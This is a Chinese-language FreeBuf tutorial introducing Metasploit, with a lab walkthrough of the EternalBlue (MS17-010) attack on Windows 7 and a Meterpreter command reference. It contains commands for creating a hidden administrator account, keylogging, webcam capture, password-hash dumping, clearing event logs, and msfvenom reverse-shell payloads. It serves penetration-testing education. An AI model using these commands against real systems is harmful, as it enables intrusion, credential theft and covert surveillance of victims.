freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Metasploit
fhy666 2021-11-13 23:07:08 210520

一:初识Metasploit

Metasploit是The Metasploit Framework的简称,也可以叫做MSF! MSF高度模块化即框架由多个module组成,是全球最受欢迎的工具。

Metasploit Framework(MSF)远远不仅仅是一个漏洞的集合。这是您可以建立和利用您的自定义需求的基础架构。这使您可以专注于您独特的环境,而不必重新发明轮子。

官网地址:

https://www.metasploit.com/

项目地址:

https://github.com/rapid7/metasploit-framework/

1.1:模块介绍

模块名称

模块作用
Auxiliary负责执行信息收集,扫描,嗅探,指纹识别,口令猜测和Dos攻击等功能的辅助模块
Exploits利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动,被动)
Payloads成功exploit之后,真正在目标系统执行的代码和命令。
Post后期渗透模块,在取得目标系统远程控制权后吗,进行一系列的后渗透攻击动作,如获取敏感信息,跳板攻击等操作。
Encoders对payload进行加密,躲避antiviru检查的模块。
Nops提高payload稳定性及维持大小,在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行shellcode之前添加一段空指令区,这样当触发渗透攻击后跳转执行shellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化,返回地址计算偏差等原因造成的shellcode执行失败,提高渗透攻击的可靠性。

注意:msf默认存放模块目录如下,目录下的6个子文件对上面6个模块一一对应

1.2:MSF接口

接口命令接口介绍
Msfconsole命令行控制台用户界面
Armitage基于Msf的可视化高级渗透工具
Web ViewMsf网页界面,存在Mac os界面

1.3:MSF更新

apt update     //更新软件园列表

apt install metasploit-farmework

1.4:MSFDB管理

《基础操作》

msfdb init     # start and initialize the database   postgresql
msfdb reinit   # delete and reinitialize the database
msfdb delete   # delete database and stop using it
msfdb start    # start the database
msfdb stop     # stop the database
msfdb status   # check service status
msfdb run      # start the database and run msfconsole

1.5:MSF基础操作

控制台命令支持tab补全,支持外部命令的执行。

help或者?显示msfconsole可以使用的命令。 
connect可以理解为MSF中的nc命令,可以使用connect -h查看详细用法。
show

可以查看msf提供的资源。在根目录下执行的话,由于有些资源模块比较多,需要执行show命令较长的时间。

show exploits:查看可以使用的exploit。

除了exploits,还支持all,encoders,nops,payloads,auxiliary,post,options。有些选项需要用use使用一个模块后才能使用,show targets。

search

搜索模块

简单搜索:search ms17_010。

多条件搜素缩小范围:search name:mysql type:exploit platform:linux

info

查看模块信息

info <module name>

如果用use使用了一个模块,直接输入info查看。

use

search找到模块后,用use使用模块

use exploit/windows/smb/mso8_067_netapi

用use使用一个模块后,可以使用show options查看我们需要配置的选项,使用show targets选择目标主机系统,使用show payload选择payload。

set/setg设置参数,比如要渗透的主机ip,payload等 ,我们可以使用show missing查看没有设置的参数。setg是设置全局变量,避免每个模块都要输入相同参数
unset/unsetg取消设置参数和取消设置的全局变量
save设置的此参数在下一次启动的时候不会生效,可以用save保存我们使用过程的设置。
check检查模块是否真的存在这个漏洞,大部分模块没有check功能
back返回msfcomsole根目录 
run/exploit

开始使用模块

exploit -j:以后台进行运行

sessions

查看当前以建立的sessions,说明已经拿到了shell

sessions -i id 可以进入一个session交互

load/unload调用外部的扫描命令,比如openvas
loadpath加载自己的模块 
route添加一条路由,比如发往某个子网的流量都通过攻陷的机器发送。

二:永恒之蓝漏洞

本次测试主要是利用永恒之蓝漏洞对windows7进行控制利用,掌握Metaploit工具的使用,知道永恒之蓝的漏洞利用原理。永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

其中漏洞编号为MS17-010,利用多个SMB远程代码执行漏洞,可在无交互的情况下获取系统最高权限,又为远程代码任意执行!!

2.1:针对win7系统

步骤一:使用msfconsole命令开启MSF,并使用Search命令搜索永恒之蓝漏洞模块...

search ms17_010

步骤二:使用搜索出来的第三个模块来进行探测目标是否存在永恒之蓝漏洞,并设置好以下参数进行扫描测试...

use  auxiliary/scanner/smb/smb_ms17_010       /模块调用或者使用use 3对搜索出来的模块进行调用...
set  rhost  192.168.202.131                   //设置目标地址
set  rport  445                               //设置目标端口
show options                                  //显示要设置的选项
run                                           //开始运行此模块

步骤四:攻击成功后获取一个Meterpreter会话....使用以下命令在Meterpreter会话开启目标主机的3389端口并进入到目标Shell中创建后门账号...

meterpreter>run getgui -e                        //开启目标机器远程桌面服务器
meterpreter>shell                         //进入到目标机器的CMD环境当中
C:\Windows\system32>net user zxy 123admiN@ /add                //创建后门账号
C:\Windows\system32>net localgroup administrators zxy /add     //将后门账号添加到管理员组当中
>>>rdesktop 192.168.0.19                                          //远程桌面到目标机器

三:Meterpreter

Meterpreter通常作为漏洞溢出后的攻击载荷所使用,攻击载荷在触发漏洞后能够返回给我们一个控制通道。Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等。

3.1:核心命令

background – 将当前会话移动到背景
exit、quit – 终止 meterpreter 会话
help – 帮助菜单
migrate – 移动到一个指定的 PID 的活动进程
run – 执行以后它选定的 meterpreter 脚本
use – 加载 meterpreter 的扩展
load– 加载其他辅助组件

3.2:文件命令

cat -读取并输出到标准输出文件的内容
cd -更改目录对受害人
del -删除文件对受害人
download-从受害者系统文件下载
edit-用 vim编辑文件
getlwd -打印本地目录
getwd -打印工作目录
lcd -更改本地目录
lpwd -打印本地目录
ls -列出在当前目录中的文件列表
mkdir -在受害者系统上的创建目录
pwd -输出工作目录
rm -删除文件
rmdir -受害者系统上删除目录
upload-从攻击者的系统往受害者系统上传文件

3.3:网络命令

ipconfig -显示网络接口的关键信息,包括 IP 地址、 等。
portfwd -端口转发
portfwd add‐l 33333 ‐r 192.168.5.101 ‐p 3389   #将远程主机的3389端口转发到本地的3333端口
route -查看或修改受害者路由表
#在全局给指定的session增删路由
route add 192.168.11.0  255.255.255.0  1     #在session1中添加到达192.168.11.0网段的路由
route add 192.168.12.0  255.255.255.0  1     #在session1中添加到达192.168.12.0网段的路由
route add 0.0.0.0       0.0.0.0        1     #在session1中添加到达0.0.0.0/24网段的路由
route del 192.168.12.0  255.255.255.0  2     #在session2中删除到达192.168.12.0网段的路由
route print    #打印路由信息
#也可以在进入session下添加路由
run autoroute -s 192.168.11.0/24             #添加到达192.168.11.0网段的路由
run autoroute -s 192.168.12.0/24             #添加到达192.168.12.0网段的路由
run autoroute -s 0.0.0.0/0                   #添加到达0.0.0.0/0的路由

run autoroute -p                             #打印路由信息

3.4:系统命令

clearev -清除了受害者的计算机上的事件日志
drop_token -被盗的令牌
execute-执行命令
getpid -获取当前进程 ID (PID)
getprivs -尽可能获取尽可能多的特权
getuid -获取作为运行服务器的用户
kill -终止指定 PID 的进程
ps -列出正在运行的进程
reboot-重新启动受害人的计算机
reg -与受害人的注册表进行交互
rev2self -在受害者机器上调用 RevertToSelf()
shell -在受害者计算机上打开一个shell
shutdown-关闭了受害者的计算机
steal_token -试图窃取指定的 (PID) 进程的令牌
sysinfo -获取有关受害者计算机操作系统和名称等的详细信息

3.5:用户界面命令

keyscan_dump -键盘记录软件的内容转储
keyscan_start -启动键盘记录软件
keyscan_stop -停止键盘记录软件
screenshot-抓去 meterpreter 桌面的屏幕截图
set_desktop -更改 meterpreter 桌面
webcam_list – 列举摄像头
webcam_snap – 抓取摄像头影像图片
webcam_stream – 抓取摄像头影像流

3.6:其他常用命令

hashdump – 抓取HASH密码(SAM文件中的值)
getsystem – 获得系统管理员权限
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
# web安全 # MSF渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 fhy666 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
metasploit技术
渗透测试
fhy666 LV.4
这家伙太懒了,还未填写个人描述!
  • 8 文章数
  • 1 关注者
Wordpress 4.6 任意命令执行漏洞(PwnScriptum)CVE-2016-10033 漏洞
2022-01-11
泛微E-Office文件上传漏洞(CNVD-2021-49104)
2021-12-03
ShowDoc 远程代码执行漏洞
2021-11-29